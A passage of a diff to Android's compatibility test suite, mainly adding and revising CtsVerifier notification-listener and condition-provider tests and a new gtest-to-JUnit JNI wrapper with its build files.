     private class CreateAutomaticZenRuleTest extends InteractiveTestCase {
         private String id = null;
 
@@ -516,6 +640,11 @@
             MockConditionProvider.resetData(mContext);
             delay();
         }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+        }
     }
 
     private class ServiceStoppedTest extends InteractiveTestCase {
@@ -570,21 +699,4 @@
     protected View createSettingsItem(ViewGroup parent, int messageId) {
         return createUserItem(parent, R.string.cp_start_settings, messageId);
     }
-
-    public void launchSettings() {
-        startActivity(new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS));
-    }
-
-    public void actionPressed(View v) {
-        Object tag = v.getTag();
-        if (tag instanceof Integer) {
-            int id = ((Integer) tag).intValue();
-            if (id == R.string.cp_start_settings) {
-                launchSettings();
-            } else if (id == R.string.attention_ready) {
-                mCurrentTest.status = READY;
-                next();
-            }
-        }
-    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 7d5de8c..0ffd77d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.verifier.notifications;
 
+import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS;
+
 import android.app.NotificationManager;
 import android.app.PendingIntent;
 import android.app.Service;
@@ -65,8 +67,6 @@
 
     // TODO remove these once b/10023397 is fixed
     public static final String ENABLED_NOTIFICATION_LISTENERS = "enabled_notification_listeners";
-    public static final String NOTIFICATION_LISTENER_SETTINGS =
-            "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS";
 
     protected InteractiveTestCase mCurrentTest;
     protected PackageManager mPackageManager;
@@ -133,6 +133,12 @@
             Log.e(TAG, "failed " + this.getClass().getSimpleName() +
                     ((message == null) ? "" : ": " + message), e);
         }
+
+        // If this test contains a button that launches another activity, override this
+        // method to provide the intent to launch.
+        protected Intent getIntent() {
+            return null;
+        }
     }
 
     abstract int getTitleResource();
@@ -345,16 +351,12 @@
 
     // UI callbacks
 
-    public void launchSettings() {
-        startActivity(new Intent(NOTIFICATION_LISTENER_SETTINGS));
-    }
-
     public void actionPressed(View v) {
         Object tag = v.getTag();
         if (tag instanceof Integer) {
             int id = ((Integer) tag).intValue();
-            if (id == R.string.nls_start_settings) {
-                launchSettings();
+            if (mCurrentTest != null && mCurrentTest.getIntent() != null) {
+                startActivity(mCurrentTest.getIntent());
             } else if (id == R.string.attention_ready) {
                 if (mCurrentTest != null) {
                     mCurrentTest.status = READY;
@@ -452,7 +454,7 @@
         @Override
         void test() {
             mNm.cancelAll();
-            Intent settings = new Intent(NOTIFICATION_LISTENER_SETTINGS);
+            Intent settings = new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
             if (settings.resolveActivity(mPackageManager) == null) {
                 logFail("no settings activity");
                 status = FAIL;
@@ -468,10 +470,57 @@
             }
         }
 
+        @Override
         void tearDown() {
             // wait for the service to start
             delay();
         }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+        }
+    }
+
+    protected class CannotBeEnabledTest extends InteractiveTestCase {
+        @Override
+        View inflate(ViewGroup parent) {
+            return createNlsSettingsItem(parent, R.string.nls_cannot_enable_service);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        void test() {
+            mNm.cancelAll();
+            Intent settings = new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+            if (settings.resolveActivity(mPackageManager) == null) {
+                logFail("no settings activity");
+                status = FAIL;
+            } else {
+                String listeners = Secure.getString(getContentResolver(),
+                        ENABLED_NOTIFICATION_LISTENERS);
+                if (listeners != null && listeners.contains(LISTENER_PATH)) {
+                    status = FAIL;
+                } else {
+                    status = PASS;
+                }
+                next();
+            }
+        }
+
+        void tearDown() {
+            // wait for the service to start
+            delay();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+        }
     }
 
     protected class ServiceStartedTest extends InteractiveTestCase {
@@ -482,7 +531,7 @@
 
         @Override
         void test() {
-            if (MockListener.getInstance() != null) {
+            if (MockListener.getInstance() != null && MockListener.getInstance().isConnected) {
                 status = PASS;
                 next();
             } else {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockConditionProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockConditionProvider.java
index 489797b..f32460f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockConditionProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockConditionProvider.java
@@ -19,6 +19,7 @@
 import android.app.Activity;
 import android.app.AutomaticZenRule;
 import android.content.BroadcastReceiver;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -35,7 +36,8 @@
 public class MockConditionProvider extends ConditionProviderService {
     static final String TAG = "MockConditionProvider";
 
-    static final String PACKAGE_NAME = "com.android.cts.verifier.notifications";
+    public static final ComponentName COMPONENT_NAME =
+            new ComponentName("com.android.cts.verifier", MockConditionProvider.class.getName());
     static final String PATH = "mock_cp";
     static final String QUERY = "query_item";
 
@@ -56,6 +58,7 @@
     private ArrayList<Uri> mSubscriptions = new ArrayList<>();
     private boolean mConnected = false;
     private BroadcastReceiver mReceiver;
+    private static MockConditionProvider sConditionProviderInstance = null;
 
     @Override
     public void onCreate() {
@@ -103,6 +106,20 @@
         unregisterReceiver(mReceiver);
         mReceiver = null;
         Log.d(TAG, "destroyed");
+        sConditionProviderInstance = null;
+    }
+
+    public void requestUnbindService() {
+        sConditionProviderInstance = null;
+        super.requestUnbind();
+    }
+
+    public boolean isConnected() {
+        return mConnected;
+    }
+
+    public static MockConditionProvider getInstance() {
+        return sConditionProviderInstance;
     }
 
     public void resetData() {
@@ -141,6 +158,7 @@
     public void onConnected() {
         Log.d(TAG, "connected");
         mConnected = true;
+        sConditionProviderInstance = this;
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
index 8b5acf8..5dfee12 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
@@ -18,6 +18,7 @@
 import android.app.Notification;
 import android.content.ComponentName;
 import android.service.notification.NotificationListenerService;
+import android.service.notification.NotificationStats;
 import android.service.notification.StatusBarNotification;
 import android.util.ArrayMap;
 import android.util.Log;
@@ -47,6 +48,7 @@
     public static final String JSON_AMBIENT = "ambient";
     public static final String JSON_MATCHES_ZEN_FILTER = "matches_zen_filter";
     public static final String JSON_REASON = "reason";
+    public static final String JSON_STATS = "stats";
 
     ArrayList<String> mPosted = new ArrayList<String>();
     ArrayMap<String, JSONObject> mNotifications = new ArrayMap<>();
@@ -174,13 +176,14 @@
 
     @Override
     public void onNotificationRemoved(StatusBarNotification sbn, RankingMap rankingMap,
-            int reason) {
+            NotificationStats stats, int reason) {
         Log.d(TAG, "removed: " + sbn.getTag() + " for reason " + reason);
         mRemoved.add(sbn.getTag());
         JSONObject removed = new JSONObject();
         try {
             removed.put(JSON_TAG, sbn.getTag());
             removed.put(JSON_REASON, reason);
+            removed.put(JSON_STATS, stats != null);
         } catch (JSONException e) {
             Log.e(TAG, "failed to pack up notification payload", e);
         }
@@ -189,5 +192,4 @@
         mRemovedReason.put(sbn.getTag(), removed);
         onNotificationRankingUpdate(rankingMap);
     }
-
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 062b8a9..90b1f7d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -16,20 +16,30 @@
 
 package com.android.cts.verifier.notifications;
 
+import static android.app.NotificationManager.IMPORTANCE_LOW;
+import static android.app.NotificationManager.IMPORTANCE_NONE;
+import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS;
+import static android.provider.Settings.EXTRA_APP_PACKAGE;
+import static android.provider.Settings.EXTRA_CHANNEL_GROUP_ID;
+import static android.provider.Settings.EXTRA_CHANNEL_ID;
+
 import android.annotation.SuppressLint;
-import android.app.Activity;
+import android.app.ActivityManager;
 import android.app.Notification;
 import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
+import android.app.NotificationChannelGroup;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
 import android.os.Bundle;
+import android.provider.Settings;
 import android.provider.Settings.Secure;
 import android.service.notification.StatusBarNotification;
 import android.support.v4.app.NotificationCompat;
 import android.util.Log;
 import android.view.View;
 import android.view.ViewGroup;
+import android.widget.Button;
 
 import com.android.cts.verifier.R;
 
@@ -45,11 +55,13 @@
 import static com.android.cts.verifier.notifications.MockListener.*;
 
 import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertNull;
 
 public class NotificationListenerVerifierActivity extends InteractiveVerifierActivity
         implements Runnable {
     private static final String TAG = "NoListenerVerifier";
     private static final String NOTIFICATION_CHANNEL_ID = TAG;
+    protected static final String PREFS = "listener_prefs";
 
     private String mTag1;
     private String mTag2;
@@ -82,30 +94,40 @@
     @Override
     protected List<InteractiveTestCase> createTestItems() {
         List<InteractiveTestCase> tests = new ArrayList<>(17);
-        tests.add(new IsEnabledTest());
-        tests.add(new ServiceStartedTest());
-        tests.add(new NotificationReceivedTest());
-        tests.add(new DataIntactTest());
-        tests.add(new DismissOneTest());
-        tests.add(new DismissOneWithReasonTest());
-        tests.add(new DismissAllTest());
-        tests.add(new SnoozeNotificationForTimeTest());
-        tests.add(new SnoozeNotificationForTimeCancelTest());
-        tests.add(new GetSnoozedNotificationTest());
-        tests.add(new EnableHintsTest());
-        tests.add(new RequestUnbindTest());
-        tests.add(new RequestBindTest());
-        tests.add(new MessageBundleTest());
-        tests.add(new EnableHintsTest());
-        tests.add(new IsDisabledTest());
-        tests.add(new ServiceStoppedTest());
-        tests.add(new NotificationNotReceivedTest());
+        ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+        if (am.isLowRamDevice()) {
+            tests.add(new CannotBeEnabledTest());
+            tests.add(new ServiceStoppedTest());
+            tests.add(new NotificationNotReceivedTest());
+        } else {
+            tests.add(new IsEnabledTest());
+            tests.add(new ServiceStartedTest());
+            tests.add(new NotificationReceivedTest());
+            tests.add(new DataIntactTest());
+            tests.add(new DismissOneTest());
+            tests.add(new DismissOneWithReasonTest());
+            tests.add(new DismissOneWithStatsTest());
+            tests.add(new DismissAllTest());
+            tests.add(new SnoozeNotificationForTimeTest());
+            tests.add(new SnoozeNotificationForTimeCancelTest());
+            tests.add(new GetSnoozedNotificationTest());
+            tests.add(new EnableHintsTest());
+            tests.add(new ReceiveChannelBlockNoticeTest());
+            tests.add(new ReceiveGroupBlockNoticeTest());
+            tests.add(new RequestUnbindTest());
+            tests.add(new RequestBindTest());
+            tests.add(new MessageBundleTest());
+            tests.add(new EnableHintsTest());
+            tests.add(new IsDisabledTest());
+            tests.add(new ServiceStoppedTest());
+            tests.add(new NotificationNotReceivedTest());
+        }
         return tests;
     }
 
     private void createChannel() {
         NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
-                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+                NOTIFICATION_CHANNEL_ID, IMPORTANCE_LOW);
         mNm.createNotificationChannel(channel);
     }
 
@@ -206,6 +228,161 @@
         }
     }
 
+    /**
+     * Creates a notification channel. Sends the user to settings to block the channel. Waits
+     * to receive the broadcast that the channel was blocked, and confirms that the broadcast
+     * contains the correct extras.
+     */
+    protected class ReceiveChannelBlockNoticeTest extends InteractiveTestCase {
+        private String mChannelId;
+        private int mRetries = 2;
+        private View mView;
+        @Override
+        View inflate(ViewGroup parent) {
+            mView = createNlsSettingsItem(parent, R.string.nls_block_channel);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(false);
+            return mView;
+        }
+
+        @Override
+        void setUp() {
+            mChannelId = UUID.randomUUID().toString();
+            NotificationChannel channel = new NotificationChannel(
+                    mChannelId, "ReceiveChannelBlockNoticeTest", IMPORTANCE_LOW);
+            mNm.createNotificationChannel(channel);
+            status = READY;
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(true);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        void test() {
+            NotificationChannel channel = mNm.getNotificationChannel(mChannelId);
+            SharedPreferences prefs = mContext.getSharedPreferences(
+                    NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+
+            if (channel.getImportance() == IMPORTANCE_NONE) {
+                if (prefs.contains(mChannelId) && prefs.getBoolean(mChannelId, false)) {
+                    status = PASS;
+                } else {
+                    if (mRetries > 0) {
+                        mRetries--;
+                        status = RETEST;
+                    } else {
+                        status = FAIL;
+                    }
+                }
+            } else {
+                // user hasn't jumped to settings to block the channel yet
+                status = WAIT_FOR_USER;
+            }
+
+            next();
+        }
+
+        void tearDown() {
+            MockListener.getInstance().resetData();
+            mNm.deleteNotificationChannel(mChannelId);
+            SharedPreferences prefs = mContext.getSharedPreferences(
+                    NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.remove(mChannelId);
+        }
+
+        @Override
+        protected Intent getIntent() {
+         return new Intent(Settings.ACTION_CHANNEL_NOTIFICATION_SETTINGS)
+                 .putExtra(EXTRA_APP_PACKAGE, mContext.getPackageName())
+                 .putExtra(EXTRA_CHANNEL_ID, mChannelId);
+        }
+    }
+
+    /**
+     * Creates a notification channel group. Sends the user to settings to block the group. Waits
+     * to receive the broadcast that the group was blocked, and confirms that the broadcast contains
+     * the correct extras.
+     */
+    protected class ReceiveGroupBlockNoticeTest extends InteractiveTestCase {
+        private String mGroupId;
+        private int mRetries = 2;
+        private View mView;
+        @Override
+        View inflate(ViewGroup parent) {
+            mView = createNlsSettingsItem(parent, R.string.nls_block_group);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(false);
+            return mView;
+        }
+
+        @Override
+        void setUp() {
+            mGroupId = UUID.randomUUID().toString();
+            NotificationChannelGroup group
+                    = new NotificationChannelGroup(mGroupId, "ReceiveChannelGroupBlockNoticeTest");
+            mNm.createNotificationChannelGroup(group);
+            NotificationChannel channel = new NotificationChannel(
+                    mGroupId, "ReceiveChannelBlockNoticeTest", IMPORTANCE_LOW);
+            channel.setGroup(mGroupId);
+            mNm.createNotificationChannel(channel);
+            status = READY;
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(true);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        void test() {
+            NotificationChannelGroup group = mNm.getNotificationChannelGroup(mGroupId);
+            SharedPreferences prefs = mContext.getSharedPreferences(
+                    NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+
+            if (group.isBlocked()) {
+                if (prefs.contains(mGroupId) && prefs.getBoolean(mGroupId, false)) {
+                    status = PASS;
+                } else {
+                    if (mRetries > 0) {
+                        mRetries--;
+                        status = RETEST;
+                    } else {
+                        status = FAIL;
+                    }
+                }
+            } else {
+                // user hasn't jumped to settings to block the channel yet
+                status = WAIT_FOR_USER;
+            }
+
+            next();
+        }
+
+        void tearDown() {
+            MockListener.getInstance().resetData();
+            mNm.deleteNotificationChannelGroup(mGroupId);
+            SharedPreferences prefs = mContext.getSharedPreferences(
+                    NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.remove(mGroupId);
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_CHANNEL_GROUP_NOTIFICATION_SETTINGS)
+                    .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK)
+                    .putExtra(EXTRA_APP_PACKAGE, mContext.getPackageName())
+                    .putExtra(EXTRA_CHANNEL_GROUP_ID, mGroupId);
+        }
+    }
+
     private class DataIntactTest extends InteractiveTestCase {
         @Override
         View inflate(ViewGroup parent) {
@@ -265,9 +442,6 @@
                                 "data integrity test: notification ID (%d, %d)");
                         pass &= checkEquals(mWhen3, payload.getLong(JSON_WHEN),
                                 "data integrity test: notification when (%d, %d)");
-                    } else {
-                        pass = false;
-                        logFail("unexpected notification tag: " + tag);
                     }
                 } catch (JSONException e) {
                     pass = false;
@@ -275,7 +449,7 @@
                 }
             }
 
-            pass &= found.size() == 3;
+            pass &= found.size() >= 3;
             status = pass ? PASS : FAIL;
         }
 
@@ -389,6 +563,61 @@
         }
     }
 
+    private class DismissOneWithStatsTest extends InteractiveTestCase {
+        int mRetries = 3;
+
+        @Override
+        View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.nls_clear_one_stats);
+        }
+
+        @Override
+        void setUp() {
+            createChannel();
+            sendNotifications();
+            status = READY;
+        }
+
+        @Override
+        void test() {
+            if (status == READY) {
+                MockListener.getInstance().cancelNotification(
+                        MockListener.getInstance().getKeyForTag(mTag1));
+                status = RETEST;
+            } else {
+                List<JSONObject> result =
+                        new ArrayList<>(MockListener.getInstance().mRemovedReason.values());
+                boolean pass = true;
+                for (JSONObject payload : result) {
+                    try {
+                        pass &= (payload.getBoolean(JSON_STATS) == false);
+                    } catch (JSONException e) {
+                        e.printStackTrace();
+                        pass = false;
+                    }
+                }
+                if (pass) {
+                    status = PASS;
+                } else {
+                    if (--mRetries > 0) {
+                        sleep(100);
+                        status = RETEST;
+                    } else {
+                        logFail("Notification listener got populated stats object.");
+                        status = FAIL;
+                    }
+                }
+            }
+        }
+
+        @Override
+        void tearDown() {
+            mNm.cancelAll();
+            deleteChannel();
+            MockListener.getInstance().resetData();
+        }
+    }
+
     private class DismissAllTest extends InteractiveTestCase {
         @Override
         View inflate(ViewGroup parent) {
@@ -458,6 +687,7 @@
     }
 
     private class ServiceStoppedTest extends InteractiveTestCase {
+        int mRetries = 3;
         @Override
         View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_service_stopped);
@@ -465,12 +695,23 @@
 
         @Override
         void test() {
-            if (mNm.getEffectsSuppressor() == null) {
+            if (mNm.getEffectsSuppressor() == null && (MockListener.getInstance() == null
+                    || !MockListener.getInstance().isConnected)) {
                 status = PASS;
             } else {
-                status = FAIL;
+                if (--mRetries > 0) {
+                    sleep(100);
+                    status = RETEST;
+                } else {
+                    status = FAIL;
+                }
             }
         }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+        }
     }
 
     private class NotificationNotReceivedTest extends InteractiveTestCase {
@@ -489,12 +730,16 @@
 
         @Override
         void test() {
-            List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
-            if (result.size() == 0) {
+            if (MockListener.getInstance() == null) {
                 status = PASS;
             } else {
-                logFail();
-                status = FAIL;
+                List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
+                if (result.size() == 0) {
+                    status = PASS;
+                } else {
+                    logFail();
+                    status = FAIL;
+                }
             }
             next();
         }
@@ -503,7 +748,9 @@
         void tearDown() {
             mNm.cancelAll();
             deleteChannel();
-            MockListener.getInstance().resetData();
+            if (MockListener.getInstance() != null) {
+                MockListener.getInstance().resetData();
+            }
         }
     }
 
diff --git a/apps/PermissionApp/AndroidManifest.xml b/apps/PermissionApp/AndroidManifest.xml
index 82e3617..f880933 100644
--- a/apps/PermissionApp/AndroidManifest.xml
+++ b/apps/PermissionApp/AndroidManifest.xml
@@ -21,6 +21,7 @@
     <uses-sdk android:minSdkVersion="23"/>
 
     <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
     <application android:label="CtsPermissionApp"
             android:icon="@drawable/ic_permissionapp">
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/GenericDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/GenericDeviceInfo.java
index cb4324c..c81f8fe 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/GenericDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/GenericDeviceInfo.java
@@ -73,7 +73,7 @@
         store.addResult(BUILD_FINGERPRINT, Build.FINGERPRINT);
         store.addResult(BUILD_ABI, Build.CPU_ABI);
         store.addResult(BUILD_ABI2, Build.CPU_ABI2);
-        store.addResult(BUILD_SERIAL, Build.SERIAL);
+        store.addResult(BUILD_SERIAL, Build.getSerial());
         store.addResult(BUILD_VERSION_RELEASE, Build.VERSION.RELEASE);
         store.addResult(BUILD_VERSION_SDK, Build.VERSION.SDK);
         store.addResult(BUILD_REFERENCE_FINGERPRINT,
diff --git a/common/device-side/nativetesthelper/Android.mk b/common/device-side/nativetesthelper/Android.mk
new file mode 100644
index 0000000..19f584d
--- /dev/null
+++ b/common/device-side/nativetesthelper/Android.mk
@@ -0,0 +1,25 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-common-util-devicesidelib
+LOCAL_MODULE := nativetesthelper
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/device-side/nativetesthelper/jni/Android.mk b/common/device-side/nativetesthelper/jni/Android.mk
new file mode 100644
index 0000000..f970e8c
--- /dev/null
+++ b/common/device-side/nativetesthelper/jni/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# This is the shared library included by the JNI test app.
+#
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libnativetesthelper_jni
+
+LOCAL_SRC_FILES := \
+        gtest_wrapper.cpp
+
+LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++
+LOCAL_WHOLE_STATIC_LIBRARIES := libgtest_ndk_c++
+LOCAL_EXPORT_STATIC_LIBRARY_HEADERS := libgtest_ndk_c++
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_CFLAGS := -Wall -Werror
+LOCAL_MULTILIB := both
+
+include $(BUILD_STATIC_LIBRARY)
diff --git a/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp b/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
new file mode 100644
index 0000000..1f91b3a
--- /dev/null
+++ b/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
@@ -0,0 +1,185 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <nativehelper/ScopedLocalRef.h>
+#include <gtest/gtest.h>
+
+static struct {
+    jclass clazz;
+
+    /** static methods **/
+    jmethodID createTestDescription;
+
+    /** methods **/
+    jmethodID addChild;
+} gDescription;
+
+static struct {
+    jclass clazz;
+
+    jmethodID fireTestStarted;
+    jmethodID fireTestIgnored;
+    jmethodID fireTestFailure;
+    jmethodID fireTestFinished;
+
+} gRunNotifier;
+
+static struct {
+    jclass clazz;
+    jmethodID ctor;
+} gAssertionFailure;
+
+static struct {
+    jclass clazz;
+    jmethodID ctor;
+} gFailure;
+
+jobject gEmptyAnnotationsArray;
+
+static jobject createTestDescription(JNIEnv* env, const char* className, const char* testName) {
+    ScopedLocalRef<jstring> jClassName(env, env->NewStringUTF(className));
+    ScopedLocalRef<jstring> jTestName(env, env->NewStringUTF(testName));
+    return env->CallStaticObjectMethod(gDescription.clazz, gDescription.createTestDescription,
+            jClassName.get(), jTestName.get(), gEmptyAnnotationsArray);
+}
+
+static void addChild(JNIEnv* env, jobject description, jobject childDescription) {
+    env->CallVoidMethod(description, gDescription.addChild, childDescription);
+}
+
+
+class JUnitNotifyingListener : public ::testing::EmptyTestEventListener {
+public:
+
+    JUnitNotifyingListener(JNIEnv* env, jobject runNotifier)
+            : mEnv(env)
+            , mRunNotifier(runNotifier)
+            , mCurrentTestDescription{env, nullptr}
+    {}
+    virtual ~JUnitNotifyingListener() {}
+
+    virtual void OnTestStart(const testing::TestInfo &testInfo) override {
+        mCurrentTestDescription.reset(
+                createTestDescription(mEnv, testInfo.test_case_name(), testInfo.name()));
+        notify(gRunNotifier.fireTestStarted);
+    }
+
+    virtual void OnTestPartResult(const testing::TestPartResult &testPartResult) override {
+        if (!testPartResult.passed()) {
+            char message[1024];
+            snprintf(message, 1024, "%s:%d\n%s", testPartResult.file_name(), testPartResult.line_number(),
+                    testPartResult.message());
+            ScopedLocalRef<jstring> jmessage(mEnv, mEnv->NewStringUTF(message));
+            ScopedLocalRef<jobject> jthrowable(mEnv, mEnv->NewObject(gAssertionFailure.clazz,
+                    gAssertionFailure.ctor, jmessage.get()));
+            ScopedLocalRef<jobject> jfailure(mEnv, mEnv->NewObject(gFailure.clazz,
+                    gFailure.ctor, mCurrentTestDescription.get(), jthrowable.get()));
+            mEnv->CallVoidMethod(mRunNotifier, gRunNotifier.fireTestFailure, jfailure.get());
+        }
+    }
+
+    virtual void OnTestEnd(const testing::TestInfo&) override {
+        notify(gRunNotifier.fireTestFinished);
+        mCurrentTestDescription.reset();
+    }
+
+    virtual void OnTestProgramEnd(const testing::UnitTest& unitTest) override {
+        // Invoke the notifiers for all the disabled tests
+        for (int testCaseIndex = 0; testCaseIndex < unitTest.total_test_case_count(); testCaseIndex++) {
+            auto testCase = unitTest.GetTestCase(testCaseIndex);
+            for (int testIndex = 0; testIndex < testCase->total_test_count(); testIndex++) {
+                auto testInfo = testCase->GetTestInfo(testIndex);
+                if (!testInfo->should_run()) {
+                    mCurrentTestDescription.reset(
+                            createTestDescription(mEnv, testCase->name(), testInfo->name()));
+                    notify(gRunNotifier.fireTestIgnored);
+                    mCurrentTestDescription.reset();
+                }
+            }
+        }
+    }
+
+private:
+    void notify(jmethodID method) {
+        mEnv->CallVoidMethod(mRunNotifier, method, mCurrentTestDescription.get());
+    }
+
+    JNIEnv* mEnv;
+    jobject mRunNotifier;
+    ScopedLocalRef<jobject> mCurrentTestDescription;
+};
+
+extern "C"
+JNIEXPORT void JNICALL
+Java_com_android_gtestrunner_GtestRunner_nInitialize(JNIEnv *env, jclass, jobject suite) {
+    // Initialize gtest, removing the default result printer
+    int argc = 1;
+    const char* argv[] = { "gtest_wrapper" };
+    ::testing::InitGoogleTest(&argc, (char**) argv);
+
+    auto& listeners = ::testing::UnitTest::GetInstance()->listeners();
+    delete listeners.Release(listeners.default_result_printer());
+
+    gDescription.clazz = (jclass) env->NewGlobalRef(env->FindClass("org/junit/runner/Description"));
+    gDescription.createTestDescription = env->GetStaticMethodID(gDescription.clazz, "createTestDescription",
+            "(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/annotation/Annotation;)Lorg/junit/runner/Description;");
+    gDescription.addChild = env->GetMethodID(gDescription.clazz, "addChild",
+            "(Lorg/junit/runner/Description;)V");
+
+    jclass annotations = env->FindClass("java/lang/annotation/Annotation");
+    gEmptyAnnotationsArray = env->NewGlobalRef(env->NewObjectArray(0, annotations, nullptr));
+
+    gAssertionFailure.clazz = (jclass) env->NewGlobalRef(env->FindClass("java/lang/AssertionError"));
+    gAssertionFailure.ctor = env->GetMethodID(gAssertionFailure.clazz, "<init>", "(Ljava/lang/Object;)V");
+
+    gFailure.clazz = (jclass) env->NewGlobalRef(env->FindClass("org/junit/runner/notification/Failure"));
+    gFailure.ctor = env->GetMethodID(gFailure.clazz, "<init>",
+            "(Lorg/junit/runner/Description;Ljava/lang/Throwable;)V");
+
+    gRunNotifier.clazz = (jclass) env->NewGlobalRef(
+            env->FindClass("org/junit/runner/notification/RunNotifier"));
